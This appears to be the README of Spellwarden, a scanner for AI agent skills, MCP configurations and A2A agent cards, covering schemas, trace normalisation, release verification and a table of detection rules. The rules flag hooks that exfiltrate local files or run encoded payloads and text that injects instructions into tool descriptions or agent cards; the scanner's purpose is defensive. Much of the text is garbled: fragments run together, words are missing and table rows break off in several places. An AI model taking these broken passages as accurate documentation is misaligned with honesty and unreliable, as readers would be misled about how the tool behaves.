SPELLWARDEN_API_URL is for tests. It is honoured only for http://127.0.0.1:<port>/<path>, http://[::1]:<port>/<path> and http://localhost:<port>/<path>; any other value is ignored (--verbose says so). When it is honoured the notice api_url_override is always printed, and a loopback ACTIONS_ID_TOKEN_REQUEST_URL is honoured as well.
id_tokens).shape_mismatch).schemas/ holds JSON Schemas (draft 2020-12) for the settings, the baseline, the lock file and the JSON report, including every closed list of values. Readers of the report must ignore fields they do not know; the settings and the baseline refuse them. From 1.0.0, removing or renaming a field or a value, or changing an exit code, is a major version; adding an optional field, a notice code or a rule is a minor one. Since 1.3.0 the report holds an optional agents list (one entry per A2A agent card the run read or fetched, written only when there is one), the rule-id pattern of the report and the baseline schema is ^SW-(SKL|MCP|CFG|REG|A2A|ORG)-[0-9]{3}$, and the settings schema has the a2a mapping. A 1.2.x scanner refuses a settings file with an a2a mapping (settings_invalid, unknown key) and a baseline with an SW-A2A entry, as it would any later key or rule; a team that runs two scanner versions against one repository must upgrade both. In the same way a 1.3.x scanner refuses a baseline with an SW-A2A-019 entry, the rule 1.4.0 added. Unlike SW-A2A-019, the rules 1.8.0 added (SW-SKL-032, SW-SKL-036, SW-SKL-037, SW-CFG-012, SW-CFG-013, rules version 2026.11.1) keep an older baseline readable: a scanner older than 1.8.0 reads a baseline that names one of them without error, but the entry matches nothing there, so baseline list shows it as unmatched, baseline prune removes it, and the older scanner reports none of the new findings. SW-SKL-032 is a malicious-indicator rule, so an entry for it may last at most 30 days from 1.8.0 on. Since 1.2.0 the report holds an optional connected block when a run was connected (the credential kind, the organisation, the run, the policy applied, the registry gate's counts and items, and the upload outcome), and upload_truncated and upload_truncated_fields after an upload that was cut; a free run adds none of them.
Spellwarden's hosted product accepts OpenTelemetry traces and logs over OTLP/HTTP (protobuf or JSON, gzip or not) from agents and gateways at https://otel.spellwarden.ai (/v1/traces and /v1/logs), with an ingest key sent as Authorization: Bearer or x-api-key. Create the key in the dashboard under Settings, API keys (access Ingest); the page Settings, Runtime traces gives the settings for the OpenTelemetry SDK, Claude Code, the Claude Platform and the OpenTelemetry Collector. The code that decides what it keeps is this package's spellwarden_scan.otel (since 1.7.0, standard library only, with its own protobuf reader), and the same code runs on your machine:
spellwarden otel normalise PATH --signal traces|logs [--encoding auto|protobuf|json] [--content] [--max-records N] [--max-bytes N]
It reads one file (an OTLP/HTTP request body, as your exporter would send it), inflates it when it is gzip, and prints {"stats", "resources", "records"} as JSON: every record Spellwarden would keep and the counts of what it would ignore. --signal is required for protobuf, since a traces body and a logs body cannot be told apart on the wire; for JSON it is read from resourceSpans or resourceLogs. --content also prints the content Spellwarden keeps only when an owner of your organisation turns content storage on. The command opens no network connection and needs no key; it exits 0, or 2 on a usage error or a body it refuses (the reason is on stderr: malformed, too_large, too_many_records, too_deep or unsupported_encoding).
The rules, in short:
user.id, user.email, user.account_uuid, enduser.id, organization.id, client.address and host names. Session ids are kept as sent (cut to 128 characters), except that one shaped like an email address is replaced by a hash.DIALECTS), the first that matches: claude_code (span names claude_code.*, and Claude Code's log events), claude_platform (span names anthropic.* from the service claude-platform), openinference (openinference.span.kind), genai_legacy (gen_ai.system without gen_ai.provider.name), genai (gen_ai.operation.name or gen_ai.provider.name), mcp (mcp.method.name). A span of no dialect is ignored. Log records are kept for Claude Code's events (api_request, api_error, tool_result, tool_decision, safety_event, skill_activated, mcp_server_connection, user_prompt, assistant_response) and GenAI's content events.RECORD_KINDS): agent, model, tool, mcp, decision, connection, skill, content, other. A record is counted when its kind is one of the first seven, except Claude Code's beta spans (Claude Code is counted from its log events) and a safety_event with no tool_decision to fold into. other records (chains, retrievers, Claude Code's execution and hook spans) are kept up to 100 a request or twice the counted ones, whichever is more.Record): the signal, dialect, kind, counted and the resource; the scope name; trace, span and parent span ids; the name; start, end and duration; MCP side (client or server); status (ok, error, unset), the error type and the JSON-RPC status code; the session ( or , and its id); the GenAI operation, agent name, provider, model and token counts; the tool name, call id and type; the MCP method, server name, server address and port; the URL (scheme, host, port and path only, with path segments that look like tokens replaced by ) and its identity hash; the skill name and source URI; the decision kind, outcome, source, category, reason code and rule source; and , true when the producer sent a placeholder instead of a real name. Identifiers and names are never masked: they have control characters removed, are NFC and are cut to a fixed length.The receiver refuses bodies over 4 MiB as sent or 16 MiB decompressed: batch at 2,000 records, or turn gzip on.
spellwarden_scan.__version__ is the package version and spellwarden_scan.RULES_VERSION (YYYY.MM.N) the rule set's. A change to what any rule detects bumps both the rules version and the package minor version; a fix anywhere else bumps the patch. Every scan result carries both, so a stored finding always says which rules produced it. jcs_canonicalize is RFC 8785; canonical_json (the pack hash) and canonical_sha256 (the package hash) are not, and no signature is ever checked against them.
Releases are built and published by GitHub Actions through PyPI trusted publishing (OpenID Connect): a push of a tag vX.Y.Z whose version equals the one in pyproject.toml builds the sdist and the wheel and publishes them from the pypi environment. No API token exists anywhere. The sources are checked on Python 3.11, 3.12 and 3.13 on Linux, and on Python 3.13 on macOS and Windows, on every push; every workflow is checked with actionlint.
make check # ruff, pytest, uv build
tests/test_pure.py fails the build if any module of spellwarden_scan reaches for the network, the file system or the environment; tests/test_network_boundary.py fails it if any module of spellwarden_cli other than the prober's fetcher (net.py), the usage ping (ping.py), the comment poster (forge.py) and the API client of connected mode (api.py) can reach the network; tests/test_fixture_coverage.py fails it if a rule lacks a positive or a negative fixture. Every test runs offline: HTTP exchanges are recorded under tests/recorded/ and git repositories are made by the tests.
The same scanner runs in three wrappers, released with one version number. The Action and the component release at the same version.
GitHub Actions. Pin the Action by commit and keep the version in a comment. The workflow, not the Action, grants the permissions:
on: [pull_request]
permissions:
contents: read
security-events: write # code scanning alerts
pull-requests: write # the pull request comment
jobs:
spellwarden:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<commit>
- uses: spellwarden-ai/scan@<commit of v1.0.0> # v1.0.0
Inputs, outputs and the behaviour on forks and Dependabot pull requests: github.com/spellwarden-ai/scan. On a pull request the settings file and the baseline are read from the base commit (see "Settings"): keep actions/checkout's default persisted credentials, or set fetch-depth: 0.
GitLab CI/CD.
include:
- component: gitlab.com/spellwarden-ai/scan/[email protected]
Inputs, the comment token and the merge request comparison: gitlab.com/spellwarden-ai/scan. The merge request job clones with GIT_DEPTH: "0", so the settings file and the baseline can be read from the merge base.
Anywhere else. pipx run spellwarden==1.0.0 scan, or the image ghcr.io/spellwarden-ai/spellwarden:1.0.0.
Every surface of a release is signed, and one manifest ties them together.
# The PyPI files: PEP 740 attestations from trusted publishing
pip download spellwarden==1.0.0 --no-deps -d .
uvx pypi-attestations verify pypi --repository https://github.com/spellwarden-ai/spellwarden \
pypi:spellwarden-1.0.0-py3-none-any.whl
# The image: keyless cosign signature and build provenance (the provenance also names the wheel inside it).
# The signature is in cosign 3's format: use cosign 3.0 or later (cosign 2 reports "no signatures found").
cosign verify ghcr.io/spellwarden-ai/spellwarden:1.0.0 \
--certificate-identity https://github.com/spellwarden-ai/spellwarden/.github/workflows/release.yml@refs/tags/v1.0.0 \
--certificate-oidc-issuer https://token.actions.githubusercontent.com
gh attestation verify oci://ghcr.io/spellwarden-ai/spellwarden:1.0.0 --repo spellwarden-ai/spellwarden
# The Action and component tags: SSH-signed by the key in this repository's allowed_signers file
curl -fsSLO https://raw.githubusercontent.com/spellwarden-ai/spellwarden/main/allowed_signers
git clone https://github.com/spellwarden-ai/scan.git && \
git -C scan -c gpg.ssh.allowedSignersFile="$PWD/allowed_signers" tag -v v1.0.0
git clone https://gitlab.com/spellwarden-ai/scan.git scan-gitlab && \
git -C scan-gitlab -c gpg.ssh.allowedSignersFile="$PWD/allowed_signers" tag -v 1.0.0
# The release manifest: the wheel hash, the image digest and both tag commits, attested
gh release download v1.0.0 --repo spellwarden-ai/spellwarden --pattern release-manifest.json
gh attestation verify release-manifest.json --repo spellwarden-ai/spellwarden
The manifest's wheel_sha256 equals the hash pinned in the Action's requirements.txt, its image_digest the digest in the component's templates/scan.yml, and its action_commit and component_commit the commits of the two tags.
Apache-2.0. See LICENSE.
| SW-SKL-031 |
| Missing license and version metadata |
| low |
| ASI04 |
| SR-3 |
| SW-SKL-032 | Instructions lure the user into running a password-protected download or a pasted script (malicious indicator) | critical | ASI04, ASI09 | SR-3, SI-3 |
| SW-SKL-036 | Frontmatter pre-approves an unscoped shell or interpreter | medium | ASI02, ASI03 | AC-6, CM-7 |
| SW-SKL-037 | Executable downloaded from a moving reference and run without an integrity check | medium | ASI04, ASI05, MCP04 | SR-3, SI-7 |
| SW-MCP-001 | Server lists tools without authentication | high | MCP07 | AC-3 |
| SW-MCP-002 | Static key authentication instead of OAuth | medium | MCP01, MCP07 | IA-5 |
| SW-MCP-003 | OAuth dynamic client registration (deprecated; use Client ID Metadata Documents) | medium | MCP07 | IA-5 |
| SW-MCP-004 | HTTP+SSE transport (deprecated) | medium | ASI04 | SR-3 |
| SW-MCP-005 | Spec version older than 2026-07-28 | low | ASI04 | SR-3 |
| SW-MCP-006 | Protocol sessions (Mcp-Session-Id) in use | medium | ASI04 | SR-3 |
| SW-MCP-007 | Requires the initialize handshake; no server/discover | medium | ASI04 | SR-3 |
| SW-MCP-008 | Uses deprecated Roots, Sampling or Logging | medium | ASI04 | SR-3 |
| SW-MCP-009 | Endpoint not served over HTTPS | high | SC-7 |
| SW-MCP-010 | No protected resource metadata, or issuer not validated | medium | MCP07 | IA-5 |
| SW-MCP-011 | Tool description contains instruction-like text | high | ASI01, MCP03 | SI-10 |
| SW-CFG-001 | Remote MCP server over plain HTTP | high | SC-7 |
| SW-CFG-002 | Credential written into an MCP server configuration | critical | MCP01, MCP07 | IA-5 |
| SW-CFG-003 | MCP server launched from an unpinned package | medium | ASI04, MCP04 | SR-3 |
| SW-CFG-004 | MCP server at a raw IP address or behind a URL shortener | medium | ASI10 | SC-7 |
| SW-CFG-005 | Hook pipes remote content to a shell | high | ASI04 | SR-3 |
| SW-CFG-006 | Hook sends local file contents to an external host (malicious indicator) | critical | ASI10 | SC-7 |
| SW-CFG-007 | Hook decodes and runs an encoded payload (malicious indicator) | critical | ASI04 | SR-3 |
| SW-CFG-008 | Settings switch off approval prompts | high | ASI10 | AC-6 |
| SW-CFG-009 | Marketplace plugin source not pinned to a commit | medium | ASI04, MCP04 | SR-3 |
| SW-CFG-010 | Literal value under a secret name in an MCP server configuration | high | MCP01, MCP07 | IA-5 |
| SW-CFG-012 | MCP server configured to approve every tool call automatically | high | ASI02 | AC-6, CM-7 |
| SW-CFG-013 | Database or cluster MCP server with write access although a read-only mode exists | high | ASI03, MCP02 | AC-3, AC-6 |
| SW-REG-001 | Skill package not admitted in the organisation's private registry | high | ASI04 | SR-3 |
| SW-REG-002 | MCP server not admitted in the organisation's private registry | high | MCP09 | SR-3 |
| SW-REG-003 | Agent content the private registry cannot judge | high | ASI04 | SR-3 |
| SW-A2A-001 | Agent card does not follow A2A 1.0 | medium | ASI07 | SI-10 |
| SW-A2A-002 | Agent card uses a format older than A2A 1.0 | medium | ASI07 | SI-10 |
| SW-A2A-003 | Agent card at the path used before A2A 0.3 | medium | ASI07 | SI-10 |
| SW-A2A-004 | Agent endpoint or authentication URL not served over HTTPS | high | ASI07 | SC-8 |
| SW-A2A-005 | OAuth implicit or password flow declared (deprecated in A2A 1.0) | high | ASI03 | IA-5 |
| SW-A2A-006 | OAuth authorization code flow without PKCE required | medium | ASI03 | IA-5 |
| SW-A2A-007 | Agent declares no authentication | medium | ASI03 | AC-3 |
| SW-A2A-008 | API key sent in the URL query | medium | ASI03 | IA-5 |
| SW-A2A-009 | Skill inherits every scope of the agent | low | ASI03 | AC-6 |
| SW-A2A-010 | Agent card signature does not verify | high | ASI07 | SI-7 |
| SW-A2A-011 | Agent card signature is malformed or uses a refused algorithm | high | ASI07 | SI-7 |
| SW-A2A-012 | Agent card is not signed | low | ASI07 | SI-7 |
| SW-A2A-013 | Signing key not bound to the card's host | medium | ASI07 | SI-7 |
| SW-A2A-014 | Agent card text contains injected instructions or hidden characters | high | ASI01 | SI-10 |
| SW-A2A-015 | Credential in the agent card | critical | ASI03 | IA-5 |
| SW-A2A-016 | Agent card fetched through a redirect to another host | medium | ASI07 | SC-8 |
| SW-A2A-017 | Agent card signed with a shared secret that only the agent can check | medium | ASI07 | SI-7 |
| SW-A2A-018 | Agent card cannot be read | high | ASI07 | SI-10 |
| SW-A2A-019 | Agent card member spelled two ways | high | ASI07 | SI-10 |
|?additional_interfacesSW-A2A-004protocol_version--no-install--no-summary--verbosebunx | Artefact options | -p, --package |
bunx | Registry and index options | --default-index, --extra-index-url, --find-links, --index, --index-url, --registry |
bunx | Overrides (launch override) | --globalconfig, --node-options, --script-shell, --userconfig |
pnpm dlx | Quiet flags (dropped) | -q, --quiet, --silent, -y, --yes |
pnpm dlx | On/off flags (hashed) | -c, --ignore-scripts, --no-color, --offline, --prefer-offline, --shell-mode, --use-stderr |
pnpm dlx | Artefact options | -p, --package |
pnpm dlx | Registry and index options | --default-index, --extra-index-url, --find-links, --index, --index-url, --registry |
pnpm dlx | Overrides (launch override) | --globalconfig, --node-options, --script-shell, --userconfig, --config.<key> |
uvx | Quiet flags (dropped) | -q, --quiet, --silent, -y, --yes |
uvx | On/off flags (hashed) | --compile-bytecode, --isolated, --lfs, --managed-python, -n, --no-binary, --no-build, --no-build-isolation, --no-cache, --no-config, --no-env-file, --no-index, --no-managed-python, --no-progress, --no-python-downloads, --no-sources, --offline, --refresh, --reinstall, --system-certs, -U, --upgrade, -v, --verbose |
uvx | Value options (hashed) | --allow-insecure-host, -b, --build-constraints, -C, -c, --cache-dir, --color, --config-setting, --config-settings-package, --constraints, --exclude-newer, --exclude-newer-package, --fork-strategy, --index-strategy, --keyring-provider, --link-mode, --no-binary-package, --no-build-isolation-package, --no-build-package, --no-sources-package, --overrides, -P, -p, --prerelease, --python, --python-platform, --python-preference, --refresh-package, --reinstall-package, --resolution, --torch-backend, --upgrade-group, --upgrade-package, --with-editable, --with-requirements |
uvx | Artefact options | --from, -w, --with |
uvx | Registry and index options | --default-index, --extra-index-url, -f, --find-links, -i, --index, --index-url, --registry |
uvx | Overrides (launch override) | --config-file, --directory, --env-file, --project |
pipx run | Quiet flags (dropped) | -q, --quiet, --silent, -y, --yes |
pipx run | On/off flags (hashed) | --fetch-missing-python, --no-cache, --pypackages, --system-site-packages, --verbose |
pipx run | Value options (hashed) | --path, --python |
pipx run | Artefact options | --spec |
pipx run | Registry and index options | --default-index, --extra-index-url, --find-links, --index, --index-url, --registry |
pipx run | Overrides (launch override) | --pip-args |
docker run | Quiet flags (dropped) | -i, --init, --interactive, --name, --rm, -t, --tty |
docker run | On/off flags (hashed) | -d, --detach, --no-healthcheck, --oom-kill-disable, -P, --privileged, --publish-all, -q, --quiet, --read-only, --sig-proxy, --use-api-socket |
docker run | Value options (hashed) | -a, --add-host, --annotation, --attach, --blkio-weight, --blkio-weight-device, -c, --cap-add, --cap-drop, --cgroup-parent, --cgroupns, --cidfile, --cpu-period, --cpu-quota, --cpu-rt-period, --cpu-rt-runtime, --cpu-shares, --cpus, --cpuset-cpus, --cpuset-mems, --detach-keys, --device, --device-cgroup-rule, --device-read-bps, --device-read-iops, --device-write-bps, --device-write-iops, --dns, --dns-option, --dns-search, --domainname, -e, --env, --env-file, --expose, --gpus, --group-add, -h, --health-cmd, --health-interval, --health-retries, --health-start-interval, --health-start-period, --health-timeout, --hostname, --ip, --ip6, --ipc, --isolation, --kernel-memory, -l, --label, --label-file, --link, --link-local-ip, --log-driver, --log-opt, -m, --mac-address, --memory, --memory-reservation, --memory-swap, --memory-swappiness, --mount, --network, --network-alias, --oom-score-adj, -p, --pid, --pids-limit, --platform, --publish, --pull, --restart, --runtime, --security-opt, --shm-size, --stop-signal, --stop-timeout, --storage-opt, --sysctl, --tmpfs, -u, --ulimit, --user, --userns, --uts, -v, --volume, --volume-driver, --volumes-from, -w, --workdir |
docker run | Overrides (launch override) | --entrypoint |
org_rules_incomplete | Organisation rule(s) did not finish on within 10 seconds. The scan is incomplete. Simplify the rule or split the skill. |
registry_check_failed | The private registry could not be checked (). The scan is incomplete. Run again. |
registry_check_too_large | The run has more items to check than one call may carry. Narrow the scan with include and exclude, or split the repository into scan roots. |
conversationsession***names_redactedResourceInfo): service.name (or unknown_service), service.version, deployment.environment.name and telemetry.sdk.language. Nothing else.CONTENT_KINDS: system, input, output, tool_arguments, tool_result, prompt, response) is a closed list of named attributes and events, such as gen_ai.input.messages, gen_ai.tool.call.arguments, OpenInference's input.value and Claude Code's prompt. It is built only when asked for (normalise(request, content=True)), cut to 32 KiB an item and 128 KiB a record, and returned apart from the record's fields. Spellwarden's service drops it unless your organisation turned content storage on, and masks credentials in it before storing it for 30 days.DEFAULT_LIMITS): at most 20,000 records a request and values nested 16 deep (a request past either is refused); at most 512 attributes on any one item and 256 events on a span, and 1 MiB for one value (the rest is skipped or cut, and counted).